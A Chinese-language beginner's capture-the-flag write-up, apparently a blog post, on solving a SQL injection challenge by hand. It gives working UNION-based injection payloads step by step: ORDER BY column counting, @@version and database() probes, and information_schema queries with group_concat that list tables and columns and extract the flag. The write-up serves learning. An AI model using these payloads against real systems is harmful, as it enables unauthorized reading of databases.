这段时间看了web安全里面有关sql注入以及一些博客,终于基本了解了一下如何做这种题目用手动注入
第一步,判断是否有注入点(构造sql语句来比对不同)
这是按照提示输入1回显结果,我们可以利用恒真恒假来判断是否修改语句有用
发现输入恒假1=2的时候没有回显,代表有注入点,可以改变sql语句
第二步 利用order by来获取回显的信息判断字段数(因为这个题目没有引号,加不加#省略号没有影响)
发现字段数为2,order by 3的时候没有回显 利用1 and 1=2恒假语句来把原先的sql语句不执行,执行我们union select语句,先试试手union select 1,2判断回显的位置,免得我们以后出现错误
我们可以发现2的位置是数据,避免错误就把要查的放在2这个位置,试试查查当前数据库版本信息 1 and 1=2 union select 1,@@version
正式开始寻找flag,我从书上看到数据库里内置了一个库information_schema用于储存数据库中所有的库名表名,我们便可以利用来查询
首先查看里面的数据库名1 and 1=2 union select 1,database()
得知数据库名是sqli,我们便接下来看看sqli数据库里面的表
1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
记得一定要是英文输入,并且用group_concat函数,因为这个函数可以关联一些数据在一行显示,如果不用的话因为这个字段数为2,所以不用的话flag不会显示,不信的可以试试,我试过了哈哈SQL中group_concat用法 - leviH - 博客园
便查看表里面flag里面的列的名字
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
发现flag表里面的字段列是flag,便用sqli.flag查看里面的字段数据
1 and 1=2 union select 1,flag from sqli.flag
做出来了,开心哈哈